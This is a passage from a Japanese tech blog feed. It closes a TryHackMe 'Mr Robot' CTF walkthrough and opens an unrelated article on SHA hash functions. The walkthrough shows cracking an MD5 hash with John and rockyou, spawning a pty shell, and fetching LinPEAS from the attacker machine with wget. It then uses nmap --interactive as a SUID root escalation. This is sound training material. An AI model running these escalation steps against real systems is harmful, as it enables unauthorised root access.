<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/tryhackme/MrRobotCTF]</span><br><span class="line">└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt md5.txt </span><br><span class="line">Using default input encoding: UTF-8</span><br><span class="line">Loaded 1 password <span class="built_in">hash</span> (Raw-MD5 [MD5 128/128 SSE2 4x3])</span><br><span class="line">Warning: no OpenMP support <span class="keyword">for</span> this <span class="built_in">hash</span> <span class="built_in">type</span>, consider --fork=2</span><br><span class="line">Press <span class="string">&#x27;q&#x27;</span> or Ctrl-C to abort, almost any other key <span class="keyword">for</span> status</span><br><span class="line">abcdefghijklmnopqrstuvwxyz (robot)     </span><br><span class="line">1g 0:00:00:00 DONE (2024-10-27 22:21) 10.00g/s 405120p/s 405120c/s 405120C/s bonjour1..123092</span><br><span class="line">Use the <span class="string">&quot;--show --format=Raw-MD5&quot;</span> options to display all of the cracked passwords reliably</span><br><span class="line">Session completed. </span><br></pre></td></tr></table></figure>

<p>robot ユーザでログインを試みます。が、terminal から実行してねと怒られました（シェルを取得した際にも、tty にアクセスできないと出てましたね）。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">su - robot</span></span><br><span class="line">su: must be run from a terminal</span><br></pre></td></tr></table></figure>

<p>そこで、ログインできるよう新たにシェルを立ちあげます。Python コマンドが実行できそうなので、以下のようにシェルを立ち上げるコマンドを実行します。その後またログインしてみると、 robot ユーザでログインに成功しました！<br>これで <code>key-2-of-3.txt</code> もゲットできます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">python -c <span class="string">&#x27;import pty; pty.spawn(&quot;/bin/sh&quot;)&#x27;</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">su - robot</span></span><br><span class="line">su - robot</span><br><span class="line">Password:  </span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">whoami</span></span></span><br><span class="line">whoami</span><br><span class="line">robot</span><br></pre></td></tr></table></figure>

<p>robot ユーザでのログインに成功したので、次は権限昇格を狙います。</p>
<div class="note-container note-info"><span class="note-icon"></span><div>

<p>このように、取得したログイン情報を足掛かりにして別のアカウントへ侵入することを横展開やラテラルムーブメントなどと呼びます。上位の権限を取得できる場合は権限昇格と呼びます。</p>
</div></div>

<p>robot では sudo でのコマンド実行はできないようです。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">sudo</span> -l</span></span><br><span class="line">sudo -l</span><br><span class="line">[sudo] password for robot:</span><br><span class="line"></span><br><span class="line">Sorry, user robot may not run sudo on linux.</span><br></pre></td></tr></table></figure>

<p>そこで、 <code>LinPEAS</code> というツールを使って、特権昇格に使えそうな設定不備がないかを調べてみます。</p>
<div class="note-container note-info"><span class="note-icon"></span><div>

<p>LinPEAS は侵入後に特権昇格を狙うための設定不備がないかを表示してくれる強力なツールです。シェルを取得できている場合、スクリプトを持ってくるだけで実行でき、様々な情報を見やすい形で表示してくれます。マスコットがかわいいのに、強力で恐ろしい。</p>
</div></div>

<p>ローカルマシンで別タブを開き、 <code>cp /usr/share/peass/linpeas/linpeas.sh .</code> でスクリプトをコピーしてきます。ターゲットマシンで取得したいので <code>python3 -m http.server 12346</code> でサーバを起動します。</p>
<p>ターゲットマシンからローカルマシンのIPとポートを指定して <code>wget</code> でアクセスし、スクリプトを取得します（なお、<code>/home/robot</code> 配下では書き込み権限がなくエラーになったので、 <code>/tmp</code> に移動しています）</p>
<p><code>linpeas.sh</code> に実行権限を付与したら、これを実行して脆弱性を探してみます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">wget 10.4.108.90:12346/linpeas.sh</span></span><br><span class="line">wget 10.4.108.90:12346/linpeas.sh</span><br><span class="line">--2024-10-27 14:43:42--  http://10.4.108.90:12346/linpeas.sh</span><br><span class="line">Connecting to 10.4.108.90:12346... connected.</span><br><span class="line">HTTP request sent, awaiting response... 200 OK</span><br><span class="line">Length: 827739 (808K) [text/x-sh]</span><br><span class="line">Saving to: ‘linpeas.sh’</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">100%</span><span class="language-bash">[======================================&gt;] 827,739      354KB/s   <span class="keyword">in</span> 2.3s</span>   </span><br><span class="line"></span><br><span class="line">2024-10-27 14:43:45 (354 KB/s) - ‘linpeas.sh’ saved [827739/827739]</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">chmod</span> +x linpeas.sh</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">./linpeas.sh | <span class="built_in">tee</span> linpeas_output.txt</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>すると、ごろごろと脆弱性が出てきます。ざーっと結果を読んでいくと、特に SUID に関する部分で、<code>nmap</code> を用いた脆弱性があることが見つかりました（LinPEAS は画像のように色付きで注目箇所が分かりとても便利です）</p>
<img src="/images/2024/20241030a/MrRobotCTF_suid.png" alt="MrRobotCTF_suid.png" width="1200" height="574" loading="lazy">

<p>「nmap SUID」と検索したら出てきたこちらのサイトによると、バージョン 2.02～5.21 の間では、<code>nmap</code> には <code>--interactive</code> というオプションがあるようです。<code>nmap --interactive</code> を実行すると、root 権限のシェルにアクセスできるようです（恐ろしい！）<br>シェルに入って、<code>!ls /root</code> を実行したら最後の key3-of-3.txt もゲットできました。Root 権限でのシェルも手に入れたので、これにて Room 攻略完了です！お疲れさまでした！！</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">nmap --interactive</span></span><br><span class="line">nmap --interactive</span><br><span class="line"></span><br><span class="line">Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )</span><br><span class="line">Welcome to Interactive Mode -- press h &lt;enter&gt; for help</span><br><span class="line"><span class="meta prompt_">nmap&gt; </span><span class="language-bash">!<span class="built_in">ls</span> /root</span> </span><br><span class="line">!ls /root</span><br><span class="line">firstboot_done  key-3-of-3.txt</span><br></pre></td></tr></table></figure>

<h3 id="攻略の整理">攻略の整理</h3><p>今回のフラグ獲得の手順と使ったツールをまとめます。Easy で出てくる一般的なツールを駆使して解き進めるので、比較的とっつきやすい Room だったと思います。</p>
<ol>
<li>ポートスキャンで偵察（<code>nmap</code>）</li>
<li>Web サイトの調査（<code>gobuster</code>）</li>
<li>WordPress サイトの調査（<code>hydra</code>, <code>wpscan</code>）</li>
<li>初期侵入の実施（reverse shell）</li>
<li>権限昇格の調査（<code>JohnTheRipper</code>, LinPEAS）</li>
<li>権限昇格の実行（<code>nmap --interactive</code>）</li>
</ol>
<h3 id="攻略後談">攻略後談</h3><p>今回の Room は 2015 年にアメリカで大ヒットを記録した「Mr. Robot」というドラマが元ネタのようです。有料ですが、字幕版が Prime Video で公開されていますね。有志による Wiki も公開されていて、物語やキャラの情報も色々と知ることができます。</p>
<p>攻略の途中で出てきた単語は以下のような繋がりがあるようです。</p>
<ul>
<li>Elliot というユーザ名は、このドラマに登場する主人公、天才ハッカーのエリオット・オルダーソン</li>
<li>Mr. Robot は世界最大の利権企業を崩壊させようと目論む革命家</li>
<li>fsociety は Mr. Robot やエリオットが率いるハッカー集団の名称</li>
</ul>
<p>ドラマのテーマや概要を知ると、最初 http で接続したときに表示された画像や動画の意味が分かるようになりました。ドラマを見たらさらに理解が進みそうですね。<br>CTF には今回のような元ネタがある Room もあるので、攻略後に調べると「へ～」という発見がって面白い点です。</p>
<p>以上で Walkthrough 、そして本ブログを終えます。</p>
]]></content>
    <summary type="html">TryHackMe に関するブログや、最近このようなセキュリティ系の記事が無かったこと、最近私も TryHackMe に課金して利用していることから、今回このテーマで記事を書こうと思い寄稿しました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="HackTheBox" scheme="https://future-architect.github.io/tags/HackTheBox/"/>
  </entry>
  <entry>
    <title>学習のSHA 〜ハッシュ関数の基本と安全性について学ぶ〜</title>
    <link href="https://future-architect.github.io/articles/20231124a/"/>
    <id>https://future-architect.github.io/articles/20231124a/</id>
    <published>2023-11-23T15:00:00.000Z</published>
    <updated>2023-11-23T15:00:00.000Z</updated>
    <author><name>島ノ江励</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2023/20231124a/top.jpg" alt="" width="800" height="800">

<p>こんにちは。ペンギンになりたいエンジニアの島ノ江です。</p>
<p>普段はCSIGというサイバーセキュリティのグループに所属していて、「FutureVuls」という脆弱性管理サービスの開発・営業などを行なっています。</p>
<p>秋のブログ週間の連載の18本目、「学習のSHA」というタイトルです。</p>
<p>暗号技術について学んでいると「<strong>ハッシュ値</strong>」という言葉に出会いますが、あまり詳細を追ったことはありませんでした。そこで今回はハッシュ関数およびその代表としてSHAに関する歴史や種類についてまとめます。念のため注意しますが、本記事と某アニメとは何も関係ありません。本当に。</p>
<p>本記事は次の2つを一次情報として参照しています。</p>
<ul>
<li>光成滋生　（2021）. 暗号と認証のしくみと理論がこれ1冊でしっかりわかる教科書　技術評論社（Amazon）</li>
<li>NIST の 「Hash Functions」 プロジェクト（公式webページ）</li>
</ul>
<p>せっかくなので、巻末に読書感想文として簡単に書籍の紹介もします。</p>
<h2 id="寄稿の背景">寄稿の背景</h2><p>本記事を書こうと思ったのは、ふと暗号技術の安全性に思いを馳せたことからでした。</p>
<p>11月2日(木)に斉藤さんが「初心者が暗号の基礎と歴史を勉強して見た」というタイトルで寄稿されています。これはシーザー暗号などのいわゆる古典暗号から公開鍵暗号などへの歴史を辿っている記事です。</p>
<p>このように暗号技術が変化してきたのには、技術などの発展に伴い暗号技術の安全性が変わっているからです。参考書籍にも「暗号は新しい安全な方式を提案する人と、それを解読しようとする人の両輪でよりよいものになっている」と書かれています。</p>
<p>では、「暗号技術のセキュリティ的な安全性とは？」という興味が湧くので、暗号技術の安全性に関する理解を深めよう、という流れでした。</p>
<h2 id="ハッシュ関数とは">ハッシュ関数とは</h2><p><strong>ハッシュ関数</strong>とは「文章や画像・動画などの任意のデータから、予め決められた範囲内の値を計算する関数」です。ハッシュ関数は決定的アルゴリズムで、同じ入力値に対して常に同じ値を返します。この入力値をメッセージ、出力のことをハッシュ値、ダイジェストなどとも言います。</p>
<p>ハッシュ関数は様々な場面で利用されていて、具体的には次のようなものがあります。</p>
<ul>
<li>連想配列（JavaでのHashMapなど）</li>
<li>データベース検索(ハッシュインデックスによる完全一致検索など)</li>
<li>デジタル署名（送信者の認証など）</li>
<li>ブロックチェーン技術（データの整合性の確認など）</li>
</ul>
<p>このハッシュ関数の中で代表的なのが、本稿のタイトルにある「<strong>SHA</strong>」(Secure Hash Algorithm)です。これはNISTにより標準化されているハッシュアルゴリズムで、現代で広く用いられています。「エス・エイチ・エー」「シャー」と読まれていて、私は読みやすさから特にSHA256などは「シャー・ニゴロ」と読んでいます。</p>
<p>ハッシュ関数は現代で広く利用されている技術ですが、本記事では特に「<strong>暗号学的ハッシュ関数</strong>」について述べます。<br>暗号学的ハッシュ関数とは、さらに以下のような性質を持つハッシュ関数を指します。</p>
<h3 id="出力サイズが一定">出力サイズが一定</h3><p>入力が1バイトであろうとGBであろうと、出力されるサイズは全く同じになる性質があります。</p>
<p>入力データのサイズによらずハッシュ値のサイズが同じだと、処理の効率性や互換性が向上します。</p>
<p>また、ハッシュ値のサイズが同じでないと、出力値から入力値の情報が得られてしまい、暗号分析にも悪用されかねません。</p>
<img src="/images/2023/20231124a/Hash_1.png" alt="Hash_1.png" width="865" height="260" loading="lazy">

<h3 id="一方向性（原像計算困難性）">一方向性（原像計算困難性）</h3><p>入力値からハッシュ値を求めることは簡単だが、その逆が難しい、という性質です。</p>
<p>ハッシュ値は分かるが元のメッセージが分からないという性質から、パスワードを比較的安全に保護することなどに利用されています。</p>
<img src="/images/2023/20231124a/Hash_2.png" alt="Hash_2.png" width="868" height="188" loading="lazy">

<h3 id="衝突困難性">衝突困難性</h3><p>異なる2個の入力値から同じハッシュ値を得ること（衝突）が難しい（無視できる程度の確率である）、という性質です。</p>
<p>この性質を利用して、データを送る際にその入力値から計算したハッシュ値を併せて送ることで、データが改竄されていないかを確認できます。</p>
<p>これは、入力データが1ビットでも異なると、全く異なるハッシュ値が出力されるためです。</p>
<img src="/images/2023/20231124a/Hash_3.png" alt="Hash_3.png" width="860" height="265" loading="lazy">

<p>また、衝突困難性には「第二原像計算困難性」という性質があります。</p>
<p>これは、あるハッシュ値が与えられた時に、それと同じハッシュ値になる別のデータを見つけるのが難しい、という性質です。</p>
<h4 id="小噺">小噺</h4><p>その具体例として、学生時代の確率論の授業で、こんな確率を計算したことはあるでしょうか。</p>
<blockquote>
<p>(1) N人が所属するクラスの中で、自分と同じ誕生日の人がいる確率<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="6.209ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2744.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1467.6,0)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(2355.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>は？<br>(2) N人が所属するクラスの中で、誕生日が同じペアが存在する確率<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="6.209ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 2744.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1467.6,0)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(2355.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>は？</p>
</blockquote>
<p>(1)は自分と誕生日が同じ人を探すので第二原像を求める例、(2)はクラスの異なる2人で誕生日が一致するかを探すので衝突を見つける例になります。</p>
<p>計算自体は比較的単純なので、秋の夜長に学生時代に思いを馳せてやってみましょう。</p>
<ul>
<li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.816ex;" xmlns="http://www.w3.org/2000/svg" width="21.932ex" height="2.79ex" role="img" focusable="false" viewBox="0 -872.7 9693.8 1233.3"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g><g data-mml-node="mn" transform="translate(675,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mo" transform="translate(1078.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1467.6,0)"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(2355.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3022.3,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(4078.1,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(4800.3,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mo" transform="translate(5800.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mfrac" transform="translate(6189.6,0)"><g data-mml-node="mn" transform="translate(220,394) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z" transform="translate(1000,0)"></path></g><g data-mml-node="mn" transform="translate(220,-345) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path></g><rect width="1260.7" height="60" x="120" y="220"></rect></g><g data-mml-node="msup" transform="translate(7690.2,0)"><g data-mml-node="mo"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="TeXAtom" transform="translate(422,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D441" d="M234 637Q231 637 226 637Q201 637 196 638T191 649Q191 676 202 682Q204 683 299 683Q376 683 387 683T401 677Q612 181 616 168L670 381Q723 592 723 606Q723 633 659 637Q635 637 635 648Q635 650 637 660Q641 676 643 679T653 683Q656 683 684 682T767 680Q817 680 843 681T873 682Q888 682 888 672Q888 650 880 642Q878 637 858 637Q787 633 769 597L620 7Q618 0 599 0Q585 0 582 2Q579 5 453 305L326 604L261 344Q196 88 196 79Q201 46 268 46H278Q284 41 284 38T282 19Q278 6 272 0H259Q228 2 151 2Q123 2 100 2T63 2T46 1Q31 1 31 10Q31 14 34 26T39 40Q41 46 62 46Q130 49 150 85Q154 91 221 362L289 634Q287 635 234 637Z"></path></g><g data-mml-node="mo" transform="translate(888,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1666,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></g></g></svg></mjx-container></li>
